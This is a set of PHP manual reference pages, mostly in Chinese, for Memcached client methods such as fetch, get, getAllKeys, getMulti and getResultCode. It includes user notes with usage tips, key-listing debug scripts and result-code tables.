  • Memcached::deleteMultiByKey() - Delete multiple items from a specific server

User Contributed Notes

There are no user contributed notes for this page.


Delete multiple items from a specific server

  • ? Memcached::deleteMulti
  • Memcached::fetch ?
  • PHP Manual
  • Memcached
  • Delete multiple items from a specific server

Memcached::deleteMultiByKey

(PECL memcached >= 2.0.0)

Memcached::deleteMultiByKey — Delete multiple items from a specific server

说明

public Memcached::deleteMultiByKey(string $server_key, array $keys, int $time = 0): array

Memcached::deleteMultiByKey() is functionally equivalent to Memcached::deleteMulti(), except that the free-form server_key can be used to map the keys to a specific server.

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

keys

The keys to be deleted.

time

The amount of time the server will wait to delete the items.

Note: As of memcached 1.3.0 (released 2009) this feature is no longer supported. Passing a non-zero time will cause the deletion to fail. Memcached::getResultCode() will return MEMCACHED_INVALID_ARGUMENTS.

返回值

Returns an array indexed by keys. Each element is true if the corresponding key was deleted, or one of the Memcached::RES_* constants if the corresponding deletion failed.

The Memcached::getResultCode() will return the result code for the last executed delete operation, that is, the delete operation for the last element of keys.

参见

  • Memcached::delete() - 删除元素
  • Memcached::deleteByKey() - 从指定的服务器删除元素
  • Memcached::deleteMulti() - Delete multiple items

User Contributed Notes

There are no user contributed notes for this page.


读取下一个结果

  • ? Memcached::deleteMultiByKey
  • Memcached::fetchAll ?
  • PHP Manual
  • Memcached
  • 读取下一个结果

Memcached::fetch

(PECL memcached >= 0.1.0)

Memcached::fetch — 读取下一个结果

说明

public Memcached::fetch(): array|false

Memcached::fetch() 从最后一次请求中检索下一个结果。

参数

此函数没有参数。

返回值

返回下一个结果或其他情况下返回 false。如果结果集已经检索完毕，Memcached::getResultCode() 将返回 Memcached::RES_END。

示例

Example #1 Memcached::fetch() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
while ($result = $m->fetch()) {
var_dump($result);
}
?>

以上示例的输出类似于：

array(3) {
  ["key"]=>
  string(3) "int"
  "value"]=>
  int(99)
  ["cas"]=>
  float(2363)
}
array(3) {
  ["key"]=>
  string(5) "array"
  ["value"]=>
  array(2) {
    [0]=>
    int(11)
    [1]=>
    int(12)
  }
  ["cas"]=>
  float(2365)
}

参见

  • Memcached::fetchAll() - 读取所有剩余结果
  • Memcached::getDelayed() - 请求多个元素

User Contributed Notes

There are no user contributed notes for this page.


读取所有剩余结果

  • ? Memcached::fetch
  • Memcached::flush ?
  • PHP Manual
  • Memcached
  • 读取所有剩余结果

Memcached::fetchAll

(PECL memcached >= 0.1.0)

Memcached::fetchAll — 读取所有剩余结果

说明

public Memcached::fetchAll(): array|false

Memcached::fetchAll() 从最后一次请求中检索所有剩余结果。

参数

此函数没有参数。

返回值

返回结果集 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::getDelayed() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

以上示例会输出：

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

参见

  • Memcached::fetch() - 读取下一个结果
  • Memcached::getDelayed() - 请求多个元素

User Contributed Notes

There are no user contributed notes for this page.


作废缓存中的所有元素

  • ? Memcached::fetchAll
  • Memcached::get ?
  • PHP Manual
  • Memcached
  • 作废缓存中的所有元素

Memcached::flush

(PECL memcached >= 0.1.0)

Memcached::flush — 作废缓存中的所有元素

说明

public Memcached::flush(int $delay = 0): bool

Memcached::flush() 立即（默认）或者在 delay 延迟后作废所有缓存中已经存在的元素。 在作废之后检索命令将不会有任何返回（除非在执行 Memcached::flush() 作废之后，该 key 下被重新存储过）。flush 不会真正的释放已有元素的内存，而是逐渐的存入新元素重用那些内存。

参数

delay

在作废所有元素之前等待的时间（单位秒）。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::flush() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* 10 秒内清除所有元素 */
$m->flush(10);
?>

User Contributed Notes

There are no user contributed notes for this page.


检索元素

  • ? Memcached::flush
  • Memcached::getAllKeys ?
  • PHP Manual
  • Memcached
  • 检索元素

Memcached::get

(PECL memcached >= 0.1.0)

Memcached::get — 检索元素

说明

public Memcached::get(string $key, ?callable $cache_cb = null, int $get_flags = 0): mixed

Memcached::get() 返回之前存储在 key 下的元素。如果元素被找到，并且
get_flags 指定为 Memcached::GET_EXTENDED，也会返回该元素的 CAS
记号。关于 CAS 记号的使用，参阅 Memcached::cas()。可以通过 cache_cb
参数指定 通读缓存回调。

参数

key

要检索的元素的 key。

cache_cb

通读缓存回掉函数或 null。

get_flags

flag 控制返回结果。当指定为 Memcached::GET_EXTENDED 时，该函数还将返回 CAS 记号。

返回值

返回存储在缓存中的值，否则返回 false。
如果 get_flags 设置为 Memcached::GET_EXTENDED，则返回包含值和 CAS
记号的数组，而不仅仅返回值。如果 key 不存在，Memcached::getResultCode() 将返回
Memcached::RES_NOTFOUND。

更新日志

版本 | 说明
PECL memcached 3.0.0 | 移除 &cas_token 参数。 相反，添加 get_flags，当赋予 Memcached::GET_EXTENDED 的值时，将确保获取 CAS 记号。

示例

Example #1 Memcached::get() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('foo', 100);
var_dump($m->get('foo'));
?>

以上示例会输出：

int(100)

Example #2 Memcached::get() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

if (!($ip = $m->get('ip_block'))) {
if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
$ip = array();
$m->set('ip_block', $ip);
} else {
/* log error */
/* ... */
}
}
?>

参见

  • Memcached::getByKey() - 从特定的服务器检索元素
  • Memcached::getMulti() - 检索多个元素
  • Memcached::getDelayed() - 请求多个元素

User Contributed Notes

letynsoft at gmail dot com 23-May-2017 10:58
As of some version of php7 (i was not able to determine which exactly).
The $cas_token is no longer valid argument. It has been removed in favor of flags argument, as it appears to be causing issues when subclassing the Memcached class.

See https://github.com/php-memcached-dev/php-memcached/pull/214 for more details.

Basically you need to
<?php
function memcacheGet($key, $cb = null, &$cas = null) {
  $m = memcacheGetObject();
  if(empty($m))
    return false;
  if(defined('Memcached::GET_EXTENDED')) {
    //Incompatible change in php7, took me 2 hours to figure this out, grrr
    $_o = $m->get($key, $cb, Memcached::GET_EXTENDED);
    $o = $_o['value'];
    $cas = $_o['cas'];
  } else {
    $o = $m->get($key, $cb, $cas);
  }
  return $o;
}
?>
denis_truffaut[A-T]hotmail[D-O-T]com 17-Jan-2011 06:01
Note that this function can return NULL as FALSE, so don't make checks with === FALSE as with the old Memcache class, because it won't work. :O

Use the not (!) operator and check the result code with getResultCode() as mentioned in the documentation :)
miha at hribar dot info 17-Jul-2009 01:31
This method also returns false in case you set the value to false, so in order to have a proper fault mechanism in place you need to check the result code to be certain that a key really does not exist in memcached.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));       // boolean false
var_dump($Memcached->getResultCode());  // int 0 which is Memcached::RES_SUCCESS
?>

Or just make sure the values are not false :)


Gets the keys stored on all the servers

  • ? Memcached::get
  • Memcached::getByKey ?
  • PHP Manual
  • Memcached
  • Gets the keys stored on all the servers

Memcached::getAllKeys

(PECL memcached >= 2.0.0)

Memcached::getAllKeys — Gets the keys stored on all the servers

说明

public Memcached::getAllKeys(): array|false

Memcached::getAllKeys() queries each memcache server and retrieves an array of all keys stored on them at that point in time. This is not an atomic operation, so it isn't a truly consistent snapshot of the keys at point in time. As memcache doesn't guarantee to return all keys you also cannot assume that all keys have been returned.

Note:

This method is intended for debugging purposes and should not be used at scale!

参数

此函数没有参数。

返回值

Returns the keys stored on all the servers on success 或者在失败时返回 false.

User Contributed Notes

danb1974 at gmail dot com 03-Aug-2020 06:55
The right way to dump slab keys seems to be by using lru_crawler metadump instead of stats cachedump, see https://github.com/memcached/memcached/issues/405

<?php

function getAllKeys(string $host, int $port): array
{
    $sock = fsockopen($host, $port, $errno, $errstr);
    if ($sock === false) {
        throw new Exception("Error connection to server {$host} on port {$port}: ({$errno}) {$errstr}");
    }

    if (fwrite($sock, "stats items\n") === false) {
        throw new Exception("Error writing to socket");
    }

    $slabCounts = [];
    while (($line = fgets($sock)) !== false) {
        $line = trim($line);
        if ($line === 'END') {
            break;
        }

        // STAT items:8:number 3
        if (preg_match('!^STAT items:(\d+):number (\d+)$!', $line, $matches)) {
            $slabCounts[$matches[1]] = (int)$matches[2];
        }
    }

    foreach ($slabCounts as $slabNr => $slabCount) {
        if (fwrite($sock, "lru_crawler metadump {$slabNr}\n") === false) {
            throw new Exception('Error writing to socket');
        }

        $count = 0;
        while (($line = fgets($sock)) !== false) {
            $line = trim($line);
            if ($line === 'END') {
                break;
            }

            // key=foobar exp=1596440293 la=1596439293 cas=8492 fetch=no cls=24 size=14908
            if (preg_match('!^key=(\S+)!', $line, $matches)) {
                $allKeys[] = $matches[1];
                $count++;
            }
        }

//        if ($count !== $slabCount) {
//            throw new Exception("Surprise, got {$count} keys instead of {$slabCount} keys");
//        }
    }

    if (fclose($sock) === false) {
        throw new Exception('Error closing socket');
    }

    return $allKeys;
}
harold at snel dot me 23-Apr-2019 08:59
/**
 * Get all memcached keys. Special function because getAllKeys() is broken since memcached 1.4.23. Should only be needed on php 5.6
 *
 * cleaned up version of code found on Stackoverflow.com by Maduka Jayalath
 *
 * @return array|int - all retrieved keys (or negative number on error)
 */
public function getMemcachedKeys($host = '127.0.0.1', $port = 11211)
{
    $mem = @fsockopen($host, $port);
    if ($mem === false)
    {
        return -1;
    }

    // retrieve distinct slab
    $r = @fwrite($mem, 'stats items' . chr(10));
    if ($r === false)
    {
        return -2;
    }

    $slab = [];
    while (($l = @fgets($mem, 1024)) !== false)
    {
        // finished?
        $l = trim($l);
        if ($l == 'END')
        {
            break;
        }

        $m = [];
        // <STAT items:22:evicted_nonzero 0>
        $r = preg_match('/^STAT\sitems\:(\d+)\:/', $l, $m);
        if ($r != 1)
        {
            return -3;
        }
        $a_slab = $m[1];

        if (!array_key_exists($a_slab, $slab))
        {
            $slab[$a_slab] = [];
        }
    }

    reset($slab);
    foreach ($slab as $a_slab_key => &$a_slab)
    {
        $r = @fwrite($mem, 'stats cachedump ' . $a_slab_key . ' 100' . chr(10));
        if ($r === false)
        {
            return -4;
        }

        while (($l = @fgets($mem, 1024)) !== false)
        {
            // finished?
            $l = trim($l);
            if ($l == 'END')
            {
                break;
            }

            $m = [];
            // ITEM 42 [118 b; 1354717302 s]
            $r = preg_match('/^ITEM\s([^\s]+)\s/', $l, $m);
            if ($r != 1)
            {
                return -5;
            }
            $a_key = $m[1];

            $a_slab[] = $a_key;
        }
    }

    // close the connection
    @fclose($mem);
    unset($mem);

    $keys = [];
    reset($slab);
    foreach ($slab AS &$a_slab)
    {
        reset($a_slab);
        foreach ($a_slab AS &$a_key)
        {
            $keys[] = $a_key;
        }
    }
    unset($slab);

    return $keys;
}
flaviu dot chelaru at gmail dot com 05-Feb-2017 08:58
// initiate the memcached instance
$cache = new \Memcached();
$cache->addServer('localhost', '11211');

// get all stored memcached items

$keys = $cache->getAllKeys();
$cache->getDelayed($keys);

$store = $cache->fetchAll();

// delete by regex keys

$keys = $cache->getAllKeys();
$regex = 'product_.*';
foreach($keys as $item) {
    if(preg_match('/'.$regex.'/', $item)) {
        $cache->delete($item);
    }
}
xiangku7890 at gmail dot com 24-Apr-2016 01:46
First I use the lastest memcached version 1.4.25, but unfortunately I found memcached::getAllkeys do not work with it, though i follow the others suggestion to disable Memcached::OPT_BINARY_PROTOCOL. So i try to use history versions, when i use memcached version 1.4.17, it works.
fykknd at 163 dot com 21-Dec-2015 08:11
I got this answer..
My libmemcached version is 1.0.18. php-memcached version is 2.2.0
In Libmemcached at memcache.h line 84:
 #define MAX_NUMBER_OF_SLAB_CLASSES (63 + 1)
Modify it to 201, compile again. It's ok.
主要还是版本不兼容造成的。libmemchaed里的一个bug，
memcached_return_t这个方法里的for循环，最大数是200，和上面的常量64定义不一致造成的。
Cuchac 21-Jan-2015 07:27
This command returns always FALSE when binary protocol in use (Memcached::OPT_BINARY_PROTOCOL = true). Without binary protocol it works.


从特定的服务器检索元素

  • ? Memcached::getAllKeys
  • Memcached::getDelayed ?
  • PHP Manual
  • Memcached
  • 从特定的服务器检索元素

Memcached::getByKey

(PECL memcached >= 0.1.0)

Memcached::getByKey — 从特定的服务器检索元素

说明

public Memcached::getByKey(
string $server_key,
string $key,
?callable $cache_cb = null,
int $get_flags = 0
): mixed

Memcached::getByKey() 除了可以通过 server_key 参数自由的指定 key 所映射的服务器外，在功能上等同于 Memcached::get()。

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

要读取的元素的 key。

cache_cb

通读缓存回掉函数或 null。

get_flags

flag 控制返回结果。当指定 Memcached::GET_EXTENDED 的值时，将返回 CAS 记号。

返回值

返回存储在缓存中的值，否则返回 false。 如果 key 不存在，Memcached::getResultCode() 返回 Memcached::RES_NOTFOUND。

更新日志

版本 | 说明
PECL memcached 3.0.0 | 移除 &cas_token 参数。 相反，添加 get_flags，当赋予 Memcached::GET_EXTENDED 的值时，将确保获取 CAS 记号。

参见

  • Memcached::get() - 检索元素
  • Memcached::getMulti() - 检索多个元素
  • Memcached::getDelayed() - 请求多个元素

User Contributed Notes

There are no user contributed notes for this page.


请求多个元素

  • ? Memcached::getByKey
  • Memcached::getDelayedByKey ?
  • PHP Manual
  • Memcached
  • 请求多个元素

Memcached::getDelayed

(PECL memcached >= 0.1.0)

Memcached::getDelayed — 请求多个元素

说明

public Memcached::getDelayed(array $keys, bool $with_cas = false, ?callable $value_cb = null): bool

Memcached::getDelayed() 向 Memcached 服务端发出一个检索 keys 指定的多个
key 对应元素的请求。这个方法不会等待响应而是立即返回。当你需要收集元素值时，调用 Memcached::fetch() 或
Memcached::fetchAll()。如果 with_cas 设置为 true，会同时请求每个元素的 CAS 标记。

可以通过参数 value_cb 指定一个 result callback 来替代明确的抓取结果（fetch 或 fetchAll 为明确抓取方式）。

参数

keys

要请求的 key 的数组。

with_cas

是否同时请求 CAS 标记。

value_cb

结果回调函数或 null。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::getDelayed() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

以上示例会输出：

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

参见

  • Memcached::getDelayedByKey() - 从指定的服务器上请求多个元素
  • Memcached::fetch() - 读取下一个结果
  • Memcached::fetchAll() - 读取所有剩余结果

User Contributed Notes

antmat at mail dot ru 18-Feb-2011 08:16
Actually, when you pass a callback, method doesn't return immediately, but waits for results and calls callback function.


从指定的服务器上请求多个元素

  • ? Memcached::getDelayed
  • Memcached::getMulti ?
  • PHP Manual
  • Memcached
  • 从指定的服务器上请求多个元素

Memcached::getDelayedByKey

(PECL memcached >= 0.1.0)

Memcached::getDelayedByKey — 从指定的服务器上请求多个元素

说明

public Memcached::getDelayedByKey(
string $server_key,
array $keys,
bool $with_cas = false,
?callable $value_cb = null
): bool

Memcached::getDelayedByKey() 除了可以通过 server_key 参数自由的指定 key 所映射的服务器外，在功能上等同于 Memcached::getDelayed()。(译注: 关于 *ByKey 系列方法及 $server_key 的工作原理请参照 addByKey 方法文档)

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

keys

要请求的 key 的数组。

with_cas

是否同时请求 CAS 标记。

value_cb

结果回调函数或 null。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

参见

  • Memcached::getDelayed() - 请求多个元素
  • Memcached::fetch() - 读取下一个结果
  • Memcached::fetchAll() - 读取所有剩余结果

User Contributed Notes

There are no user contributed notes for this page.


检索多个元素

  • ? Memcached::getDelayedByKey
  • Memcached::getMultiByKey ?
  • PHP Manual
  • Memcached
  • 检索多个元素

Memcached::getMulti

(PECL memcached >= 0.1.0)

Memcached::getMulti — 检索多个元素

说明

public Memcached::getMulti(array $keys, int $get_flags = 0): array|false

Memcached::getMulti() 与 Memcached::get() 类似，但是这个方法用来检索 keys 数组指定的多个 key 对应的元素。

Note:

在 v3.0 之前，使用的第二个参数是 &cas_tokens。 它会填充进元素的 CAS token 值。 在本扩展里，&cas_tokens 参数在 v3.0 中已经移除。 它被新的附加选项（flag） Memcached::GET_EXTENDED 代替，需要在 get_flags 值里使用。

get_flags参数可以用做指定Memcached::getMulti()的附加选项。
当前，仅可以指定为Memcached::GET_PRESERVE_ORDER以保证返回的key的顺序和请求时一致。
Memcached::GET_EXTENDED 可以确保同时返回了 CAS token 信息。

参数

keys

要检索的key的数组。

get_flags

Get 操作的附加选项。

返回值

返回检索到的元素的数组 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

更新日志

版本 | 说明
PECL memcached 3.0.0 | 移除 &cas_tokens 参数。 新增 Memcached::GET_EXTENDED，当作为 flag 传递时，确保获取到 CAS token。

示例

Example #1 Memcached::getMulti() 的 Memcached v3 示例

<?php
// 扩展版本 v3 有效

$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'));
var_dump($result);
?>

以上示例的输出类似于：

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}

Example #2 Memcached::getMulti() 的 Memcached v1 和 v2 示例

<?php
// 仅在扩展版本 v1 和 v2 中有效

$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'), $cas);
var_dump($result, $cas);
?>

以上示例的输出类似于：

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}
array(2) {
  ["key1"]=>
  float(2360)
  ["key3"]=>
  float(2362)
}

Example #3 Memcached::GET_PRESERVE_ORDER 的 Memcached v3 示例

<?php
// v3 扩展有效

$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
'foo' => 'foo-data',
'bar' => 'bar-data',
'baz' => 'baz-data',
'lol' => 'lol-data',
'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
echo "$k $v\n";
}
?>

以上示例的输出类似于：

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

Example #4 Memcached::GET_PRESERVE_ORDER 的 Memcached v1 和 v2 示例

<?php
// 在扩展版本 v1 和 v2 中有效

$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
'foo' => 'foo-data',
'bar' => 'bar-data',
'baz' => 'baz-data',
'lol' => 'lol-data',
'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$null = null;
$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, $null, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
echo "$k $v\n";
}
?>

以上示例的输出类似于：

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

参见

  • Memcached::getMultiByKey() - 从特定服务器检索多个元素
  • Memcached::get() - 检索元素
  • Memcached::getDelayed() - 请求多个元素

User Contributed Notes

gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


从特定服务器检索多个元素

  • ? Memcached::getMulti
  • Memcached::getOption ?
  • PHP Manual
  • Memcached
  • 从特定服务器检索多个元素

Memcached::getMultiByKey

(PECL memcached >= 0.1.0)

Memcached::getMultiByKey — 从特定服务器检索多个元素

说明

public Memcached::getMultiByKey(string $server_key, array $keys, int $get_flags = 0): array|false

Memcached::getMultiByKey()除了可以通过server_key参数自由的指定key 所映射的服务器外， 在功能上等同于Memcached::getMulti()。(译注: 关于*ByKey系列方法及$server_key的工作原理请参照addByKey方法文档)

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

keys

要检索的key的数组。

get_flags

get操作的附加选项。

返回值

返回检索到的元素的数组 或者在失败时返回 false. 如需要则使用 Memcached::getResultCode()。

更新日志

版本 | 说明
PECL memcached 3.0.0 | 移除 &cas_tokens 参数。 新增 Memcached::GET_EXTENDED，当作为 flag 传递时，确保获取到 CAS token。

参见

  • Memcached::getMulti() - 检索多个元素
  • Memcached::get() - 检索元素
  • Memcached::getDelayed() - 请求多个元素

User Contributed Notes

There are no user contributed notes for this page.


获取 Memcached 的选项值

  • ? Memcached::getMultiByKey
  • Memcached::getResultCode ?
  • PHP Manual
  • Memcached
  • 获取 Memcached 的选项值

Memcached::getOption

(PECL memcached >= 0.1.0)

Memcached::getOption — 获取 Memcached 的选项值

说明

public Memcached::getOption(int $option): mixed

这个方法返回 option 指定的 Memcached 选项的值。一些选项是和 libmemcached 中相对应的， 也有一些特殊的选项仅仅是扩展自身的。关于选项的更多信息请查看 Memcached 常量。

参数

option

Memcached::OPT_* 系列常量中的一个。

返回值

返回请求的选项的值，或者在发生错误时返回 false。

示例

Example #1 获取 Memcached 选项

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_COMPRESSION));
var_dump($m->getOption(Memcached::OPT_POLL_TIMEOUT));
?>

以上示例的输出类似于：

bool(true)
int(1000)

参见

  • Memcached::getOption()
  • Memcached::setOption() - 设置一个 memcached 选项
  • Memcached 常量

User Contributed Notes

There are no user contributed notes for this page.


返回最后一次操作的结果代码

  • ? Memcached::getOption
  • Memcached::getResultMessage ?
  • PHP Manual
  • Memcached
  • 返回最后一次操作的结果代码

Memcached::getResultCode

(PECL memcached >= 0.1.0)

Memcached::getResultCode — 返回最后一次操作的结果代码

说明

public Memcached::getResultCode(): int

Memcached::getResultCode() 返回 Memcached::RES_* 系列常量中的一个来表明最后一次执行 Memcached 方法的结果。

参数

此函数没有参数。

返回值

最后一次 Memcached 操作的结果代码。

示例

Example #1 Memcached::getResultCode() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar');
if ($m->getResultCode() == Memcached::RES_NOTSTORED) {
/* ... */
}
?>

User Contributed Notes

Anonymous 09-Jul-2013 12:56
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
fredrik at neam dot se 27-Jul-2011 02:43
A more up to date and correct list of the result codes (Note that ERR_NO maps to 26 not 25 as stated above):

Memcached::OPT_COMPRESSION - -1001
Memcached::OPT_SERIALIZER - -1003
Memcached::SERIALIZER_PHP - 1
Memcached::SERIALIZER_IGBINARY - 2
Memcached::SERIALIZER_JSON - 3
Memcached::OPT_PREFIX_KEY - -1002
Memcached::OPT_HASH - 2
Memcached::HASH_DEFAULT - 0
Memcached::HASH_MD5 - 1
Memcached::HASH_CRC - 2
Memcached::HASH_FNV1_64 - 3
Memcached::HASH_FNV1A_64 - 4
Memcached::HASH_FNV1_32 - 5
Memcached::HASH_FNV1A_32 - 6
Memcached::HASH_HSIEH - 7
Memcached::HASH_MURMUR - 8
Memcached::OPT_DISTRIBUTION - 9
Memcached::DISTRIBUTION_MODULA - 0
Memcached::DISTRIBUTION_CONSISTENT - 1
Memcached::OPT_LIBKETAMA_COMPATIBLE - 16
Memcached::OPT_BUFFER_WRITES - 10
Memcached::OPT_BINARY_PROTOCOL - 18
Memcached::OPT_NO_BLOCK - 0
Memcached::OPT_TCP_NODELAY - 1
Memcached::OPT_SOCKET_SEND_SIZE - 4
Memcached::OPT_SOCKET_RECV_SIZE - 5
Memcached::OPT_CONNECT_TIMEOUT - 14
Memcached::OPT_RETRY_TIMEOUT - 15
Memcached::OPT_SEND_TIMEOUT - 19
Memcached::OPT_RECV_TIMEOUT - 15
Memcached::OPT_POLL_TIMEOUT - 8
Memcached::OPT_CACHE_LOOKUPS - 6
Memcached::OPT_SERVER_FAILURE_LIMIT - 21
Memcached::HAVE_IGBINARY - #&UNDEFINED;#
Memcached::HAVE_JSON - #&UNDEFINED;#
Memcached::GET_PRESERVE_ORDER - 1
Memcached::RES_SUCCESS - 0
Memcached::RES_FAILURE - 1
Memcached::RES_HOST_LOOKUP_FAILURE - 2
Memcached::RES_UNKNOWN_READ_FAILURE - 7
Memcached::RES_PROTOCOL_ERROR - 8
Memcached::RES_CLIENT_ERROR - 9
Memcached::RES_SERVER_ERROR - 10
Memcached::RES_WRITE_FAILURE - 5
Memcached::RES_DATA_EXISTS - 12
Memcached::RES_NOTSTORED - 14
Memcached::RES_NOTFOUND - 16
